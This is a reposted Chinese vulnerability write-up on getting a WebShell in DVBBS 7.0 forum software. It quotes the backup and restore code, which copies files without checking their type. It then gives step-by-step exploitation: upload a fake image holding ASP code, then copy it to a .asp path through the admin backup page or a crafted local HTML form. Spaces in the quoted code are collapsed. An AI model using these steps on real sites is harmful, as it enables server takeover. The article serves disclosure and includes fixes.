700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 动网论坛7.0获得WebShell的分析

动网论坛7.0获得WebShell的分析

时间:2019-05-28 16:21:34

相关推荐

动网论坛7.0获得WebShell的分析

本文作者:angel

文章性质:原创

发布日期:-06-27

发现:Super·Hei

分析:angel

环境/讨论:xiaolu

起哄:knife

前言

Super·Hei和我提起《Backupashell》这篇文章,就和我说,按照这个文章的方法,有没有办法拿到动网论坛上利用,因为DVBBS7.0即使设置允许上传asp文件,实际上也是无法上传的,既然能够去后台设置允许上传文件类型,那何不利用这个方法去备份一个WebShell,我们发帖子写入特制的WebShell的代码,然后备份一下,不就有WebShell了吗?那能不能用到ACCESS数据库里?实验证明这个是不可行的,但是Super·Hei又告诉我另外一个方法,由于他要考试,所以由我来分析并写出来,我转行PHP很久了,所以这次分析DVBBS可能有不足的地方,还请各位高手赐教。

注意:如何进入后台,不是本文讨论范围,局限就在这,靠大家自己发挥了。

ACCESS版的分析

首先我们看看admin_data.asp文件的updata()函数:

sub

updata()

Dbpath=request.form("Dbpath")

Dbpath=server.mappath(Dbpath)

bkfolder=request.form("bkfolder")

bkdbname=request.form("bkdbname")

SetFso=server.createobject("scripting.filesystemobject")

iffso.fileexists(dbpath)then

IfCheckDir(bkfolder)=TrueThen

fso.copyfiledbpath,bkfolder&"/"&bkdbname

else

MakeNewsDirbkfolder

fso.copyfiledbpath,bkfolder&"/"&bkdbname

endif

response.write"备份数据库成功,您备份的数据库路径为"&bkfolder&"/"&bkdbname

Else

response.write"找不到您所需要备份的文件。"

Endif

endsub

上面的代码就是执行备份操作的函数,已经很易懂了,只要Dbpath存在,就直接把数据库复制到指定目录,可能开发者以为入侵者无法进入后台(万一骗来或监听到的呢),所以并不对这个地方进行检查,没有检查是否为真正的数据库,所以我们就可以利用这里复制我们上传的“图片”。

ACCESS版的利用

我们在发帖那上传一个写有asp代码的假图片,然后记住其上传路径,比如UploadFile/-6/6272411024.jpg,然后进入后台的“备份数据库”那,按照下面的格式填写:

当前数据库路径(相对路径):UploadFile/-6/6272411024.jpg

备份数据库目录(相对路径):随便找个目录

备份数据库名称(填写名称):改为webshell.asp

然后提交就可以得到WebShell了。

SQL版的分析

还是备份数据的地方,你别看这里教你如何用SQL企业管理器来操作,其实可利用的正在里面,不要被表面的现象蒙蔽了,我们看看admin_data.asp文件的以下代码:

case"RestoreData"'恢复数据

admin_flag=",32,"

dimbackpath

ifnotDvbbs.masterorinstr(","&session("flag")&",",admin_flag)=0then

Errmsg=ErrMsg+"<BR><li>本页面为管理员专用,请<ahref=admin_index.asptarget=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。"

dvbbs_error()

else

ifrequest("act")="Restore"then

Dbpath=request.form("Dbpath")

backpath=request.form("backpath")

ifdbpath=""then

response.write"请输入您要恢复成的数据库全名"

else

Dbpath=server.mappath(Dbpath)

endif

backpath=server.mappath(backpath)

SetFso=server.createobject("scripting.filesystemobject")

iffso.fileexists(dbpath)then

fso.copyfileDbpath,Backpath

response.write"成功恢复数据!"

else

response.write"备份目录下并无您的备份文件!"

endif

else

callRestoreData()

endif

endif

在后台没有用到这些代码,可以看出我们完全可以用像ACCESS的方法来利用,只是要从本地提交参数,因为Dbpath、backpath那两个变量是用request.form取值。照样没有检查文件类型,这个文件的很多代码在SQL版里都是多余!由此产生安全隐患。这个漏洞的原理和ACCESS版的一样,也就不多分析了。

SQL版的利用

还是在发帖那上传一个写有asp代码的假图片,然后记住其上传路径,比如UploadFile/-6/6272411024.jpg,写一个本地提交的表单,代码如下:

<formaction="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore"method="post">

<p>已上传文件的位置:<inputname="Dbpath"type="text"size="80"></p>

<p>要复制到的位置:<inputname="backpath"type="text"size="80"></p>

<p><inputtype="submit"value="提交"></p>

</form>

然后就把UploadFile/-6/6272411024.jpg填在“已上传文件的位置”那里,想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里,比如:images/angel.asp提交就得到我们可爱的WebShell了,

解决方案

由于我放开ASP转向PHP很久了,所以不能提供很好的解决方案,只能给出个思路,由于利用局限比较大,所以大家如果不会修补,可以等官方的补丁出来。

针对ACCESS版的,可以对要备份的文件进行格式检查或内容检查,看是否为ASCII文件,再执行操作。

针对SQL版的,可以把那些毫无作用的代码去掉,只留个说明好了。

后记

感谢Super·Hei提出他ACCESS版的思路,我才得以分析,感谢xiaolu提供两个版本的论坛供我分析测试,并参与SQL版的讨论,本文版权由Bugkidz和SecurityAngel两个安全组织共同所有。转载请注明!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。